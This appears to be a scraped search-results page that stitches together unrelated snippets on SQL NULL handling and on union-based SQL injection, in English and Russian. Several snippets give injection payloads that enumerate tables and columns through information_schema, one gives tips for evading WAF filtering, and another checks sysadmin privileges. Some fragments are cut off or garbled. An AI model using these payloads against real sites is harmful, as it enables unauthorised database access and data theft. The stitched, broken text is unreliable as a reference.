SQL ISNULL(), NVL(), IFNULL() and COALESCE() Functions

Suppose that the "UnitsOnOrder" column is optional, and may contain NULL values. The MS Access IsNull() function returns TRUE (-1) if the expression is a null value, otherwise FALSE (0)

sql injection "union select null" - CodeProject

Union select null, null, null, null, null, null, null from information_schema.tables. for a small database containing three tables. When you do a UNION query, both SELECT statements of the query must have the same number of columns.

Advanced-SQL-Injection-Cheatsheet/Error Based SQLi/README.md...

domain.com/index.php?id=1 And False Union Select 1,2,3,4+ Note: If AND or DIV are being blocked by WAF, consider using the alternative methods for AND alternative and NULL alternative.

Статья - SQL-injection, начало - UNION BASED - Codeby.net

CREATE TABLE login ( id INT NOT NULL AUTO_INCREMENT, nickname VARCHAR(30) NOT NULL, login VARCHAR(40) NOT NULL, statement INT NOT NULL, PRIMARY KEY(id) ) 1' union select 1 -- - пишет что количество колонок не совпадает.

Advanced SQL Injection: Union based | VK9 Security

Select column_name from information_schema.columns where table_schema=database() and table_name='tablenamehere'. SELECT is_srvrolemember(‘sysadmin’); — is your account a sysadmin? returns 1 for true, 0 for false, NULL for invalid role.

SQL Injection | HackTricks | HackTricks

Select more and more null values until the query is correct Tables of a database -1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,table_name,0x7C) fRoM information_schema.tables wHeRe table_schema=[database] #.

sql - MySQL SELECT only not null values - Stack Overflow

Selecting NULL and NOT NULL values in MySQL. select all including null and not null values.

SQLi

product_id=50 union all select null,null,concat(. IF (exp,true,false) String functions Miscellaneous functions. select case when 1=1 then true else falsefalse end

How the SQL UNION Operator Deals with NULL Values

SQL-инъекции' union select null, null, null -- / Хабр

?id=1' union select null,null,table_name,null from information_schema.tables Это стало возможным благодаря добавлению таблицы information_schema в MySQL 5.0+ и по ее наличию также можно косвенно определить версию используемой БД.